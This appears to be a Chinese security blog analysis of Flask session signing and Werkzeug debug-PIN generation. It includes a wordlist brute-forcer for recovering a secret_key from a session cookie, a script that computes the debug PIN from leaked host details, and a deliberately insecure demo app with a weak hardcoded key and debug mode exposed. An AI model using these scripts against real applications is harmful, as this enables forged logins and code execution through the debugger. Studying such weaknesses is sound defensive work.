vlambda博客
学习文章列表

Flask的key与pin安全简析

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

探讨一下flask中的session key和debug pin,错误地方请指正。

No.3

session的key

多数session机制的框架都使用的服务端session机制,而在flask中是使用的客户端session机制,flask身份验证的关键是hmac签名的验证,hmac算法的秘钥是secret_key,secret_key的泄露会造成用户身份的伪造。

No.4

session的生成

先放一个浏览器cookie中的session:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8
接下来看一下该session的生成过程。
首先是session这个dict的初始化函数调用路径:app.py中wsgi_app->push->open_session,最终调用sessions.py中的open_session()。open对应着session的读取,读取调用URLSafeTimedSerializer对象的loads方法:

def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)
return self.session_class(data)
except BadSignature:
return self.session_class()

当没有cookie可读取时,val为空,在open_session中返回self.session_class()即SecureCookieSession(),class SecureCookieSession(CallbackDict, SessionMixin)从CallbackDict继承过来的,class CallbackDict(UpdateDictMixin, dict)是继承的原生dict,至此session的dict已经创建好了,继承中增加了permanent、modified等属性。另外flask中使用的session变量是RequestContext实例的变量,初始化后的session变量是保存在RequestContext上的,所以可以通过from flask import session来使用,详情点链接https://cizixs.com/2017/01/13/flask-insight-context/。

接下来是赋值session的函数调用路径:app.py中wsgi_app->full_dispatch_request->finalize_request->process_response->save_session,最终调用sessions.py中的save_session()函数来生成的session并setcookie。save对应着session的写入,写入调用URLSafeTimedSerializer对象的dumps方法:

def save_session(self, app, session, response):
…………………………
………………
…………
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(
app.session_cookie_name,
val,
expires=expires,
httponly=httponly,
domain=domain,
path=path,
secure=secure,
samesite=samesite,
)

session中关键点:self.get_signing_serializer(app).dumps(dict(session)),在get_signing_serializer中调用URLSafeTimedSerializer的dumps将身份信息{'idcard': 'choudoufu', 'username': 'accdf'}变成session,在默认情况下,除了app.secret_key的值是不知道的,其它的参数都是固定好,所以只要获取到secret_key,就可以dumps任何信息进行session伪造了:

salt = "cookie-session"
digest_method = staticmethod(hashlib.sha1)
key_derivation = "hmac"
serializer = session_json_serializer
session_class = SecureCookieSession

def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation, digest_method=self.digest_method
)
print(signer_kwargs)
return URLSafeTimedSerializer(
app.secret_key,
salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs,
)

URLSafeTimedSerializer类是itsdangerous库中的,这个库是用来进行签名的,URLSafeTimedSerializer中关键调用如下:

# 分步探讨下session三部分怎么生成的

~/itsdangerous/serializer.py:
def dumps(self, obj, salt=None):
payload = want_bytes(self.dump_payload(obj)) # 调用dump_payload将传入的身份信息obj {'idcard': 'choudoufu', 'username': 'accdf'} 先序列化掉(json后压缩可减少长度的zlib.compress压缩一下),再进行base64编码返给payload
rv = self.make_signer(salt).sign(payload) # 对payload调用make_signer进行签名处理
if self.is_text_serializer:
rv = rv.decode("utf-8")
return rv

~/itsdangerous/url_safe.py
def dump_payload(self, obj): # dump_payload中序列化、压缩、编码代码,在这个函数中得到cookie中session的第一部分:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9
print('dump+payload')
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
json = compressed
is_compressed = True
base64d = base64_encode(json)
if is_compressed:
base64d = b"." + base64d
return base64d

~/itsdangerous/serializer.py:
def make_signer(self, salt=None): # make_signer中调用Signer类进行签名处理
"""Creates a new instance of the signer to be used. The default
implementation uses the :class:`.Signer` base class.
"""
if salt is None:
salt = self.salt
return self.signer(self.secret_key, salt=salt, **self.signer_kwargs)

~/itsdangerous/timed.py
def sign(self, value): # 在sign函数中取了个时间戳并base64编码,得到session的第二部分:XnBuaw,与session的第一部分进行拼接得到一个新的value:eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw
"""Signs the given string and also attaches time information."""
value = want_bytes(value)
timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
sep = want_bytes(self.sep)
value = value + sep + timestamp
return value + sep + self.get_signature(value)

~/itsdangerous/signer.py
def get_signature(self, value): # 这里的value是timed.py中sign生成的新value
key = self.derive_key() # 在derive_key()中使用secert_key对salt进行hmac加密获取到新的key
sig = self.algorithm.get_signature(key, value) #在HMACAlgorithm.get_signature()中使用新的key,对新的value加密获取到签名,base64后获得session第三部分:8BX5umPdxMeIY2QwGKbAva2Cnk8
return base64_encode(sig)

~/itsdangerous/signer.py
def sign(self, value): # 前两部分新value与签名拼接后return完整的session
"""Signs the given string."""
return want_bytes(value) + want_bytes(self.sep) + self.get_signature(value)

到此可得到给用户返回session三部分结构:身份信息json的base64字符串.时间戳的base64字符串.前两部分hmac签名的base64字符串。

No.5

session的伪造

依旧该session:
eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8
在session的生成中看到flask默认配置情况下除了secret_key未知,其他签名参数都是已知。能够获取到secret_key的方式大概可能有源码泄露、文件包含漏洞读取源码、模板注入漏洞、爆破(暂时想起四个)。
前三种方式获取到app.config['SECRET_KEY'] = 'abc123456'时,可利用flask-session-cookie-manager工具(PS:python2与3的生成时间戳不同)进行session伪造,先从eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9解码得到格式{"name":"choudoufu","username":"accdf"},再根据格式使用工具伪造的管理员session:

Flask的key与pin安全简析

第四种方式,爆破原理就是session的生成原理,简单点的key还是可以爆破下的,具体就直接利用URLSafeTimedSerializer去loads,爆破demo:

import sys
from itsdangerous import *
import hashlib
from flask.json.tag import TaggedJSONSerializer


def Brute(cookie_session, secret_key_list):
salt = 'cookie-session'
serializer = TaggedJSONSerializer()
signer_kwargs = dict(key_derivation='hmac', digest_method=hashlib.sha1)
for secret_key2 in secret_key_list:
secret_key = secret_key2.strip('\n')
print('[*] test ' + secret_key)
try:
val = URLSafeTimedSerializer(secret_key, salt=salt,
serializer=serializer,
signer_kwargs=signer_kwargs)
val.loads(cookie_session)

print('[+] brute success, secret_key: ' + secret_key)
return
except:
pass
print('[-] brute fail')


if __name__ == '__main__':
if len(sys.argv) != 3:
print('python3 brutesession.py 普通用户session 爆破字典路径')
# python3 brutesession.py 'eyJuYW1lIjoiY2hvdWRvdWZ1IiwidXNlcm5hbWUiOiJhY2NkZiJ9.XnBuaw.8BX5umPdxMeIY2QwGKbAva2Cnk8' ./pass.txt
exit()
cookie_session = sys.argv[1]
secret_key_file = sys.argv[2]
with open(secret_key_file, 'r') as f:
secret_key_list = f.readlines()
Brute(cookie_session, secret_key_list)

Flask的key与pin安全简析

No.6

debug的pin

flask框架开启debug模式时候,在web页面输入pin进入python shell可对程序进行调试。


pin的生成

先放一个pin:Debugger PIN: 291-895-753,爆破xxx-xxx-xxx-xxx格式的pin次数是10亿-1次,而pin码的生成是与硬件物理信息相关的,是以一种特定于项目的稳定方式生成的,所以flask web文件在服务器中相关属性没变那pin就是固定的,但在没有例如文件读取之类的漏洞辅助情况下,破解pin码只能爆破。
接下来主要看一下该pin的生成过程。

生成pin函数调用路径为app.py中run()->run_simple()->DebuggedApplication.pin()->get_pin_and_cookie_name(),最终在~/werkzeug/debug/__init__.py的get_pin_and_cookie_name函数中生成了pin码。
如果系统环境变量配置了WERKZEUG_DEBUG_PIN,就直接拿来用pin。(很少有人配置的)

pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = pin

没有配置系统环境变量情况下,就要获得flask模块信息和硬件信息:

probably_public_bits = [
username, # getpass.getuser()获取的用户名
modname, # getattr(app, "__module__", app.__class__.__module__)获取的模块名,默认:flask.app
getattr(app, "__name__", app.__class__.__name__), # 类名,默认:Flask
getattr(mod, "__file__", None), # mod = sys.modules.get(modname)获取的模块路径
]

Flask的key与pin安全简析

private_bits = [str(uuid.getnode()), get_machine_id()] &nbsp;&nbsp;&nbsp;&nbsp;# uuid.getnode()获取网卡十进制值、get_machine_id()获取机器码

Flask的key与pin安全简析

probably_public_bits列表的信息,默认装的flask相关信息固定的,用户名和路径可以从报错信息得到,但private_bits列表的信息都是不确定的。接下来hashlib.md5()依次update(): root、flask.app、Flask、/usr/local/lib/python3.6/dist-packages/flask/app.py、2xxxxxxxxxb、dxxxxxxxxxxxxxxxxxxxxxxxxxa、cookiesalt、pinsalt信息,然后取md5十进制前九位组合出pin。

通过其他漏洞获取到网卡信息和机器码后,可以自行计算出pin码:

import hashlib
from itertools import chain

probably_public_bits=['root', 'flask.app', 'Flask', '/usr/local/lib/python3.6/dist-packages/flask/app.py']
private_bits=['2xxxxxxxxxxxx0', b'dxxxxxxxxxxxxxxxxxxxxxxxxxa']

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
print(rv)

结果相同:

Flask的key与pin安全简析

测试demo

from flask import Flask
from flask import session

app = Flask(__name__)
app.config['SECRET_KEY'] = 'abc123456'

# set session
@app.route('/')
def set():
session['username'] = 'accdf'
session['idcard'] = 'choudoufu'
return 'hello accdf'

# check admin session
@app.route('/admin/')
def admin():
if session['username'] == 'admin':
return 'is admin'
else:
return 'not admin'

# debug pin
@app.route('/bug/')
def bug():
a == b


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=True)


注:本文由E安全编译报道,转载请注原文地址 
https://www.easyaq.com

推荐阅读:







▼点击“阅读原文” 查看更多精彩内容


喜欢记得打赏小E哦!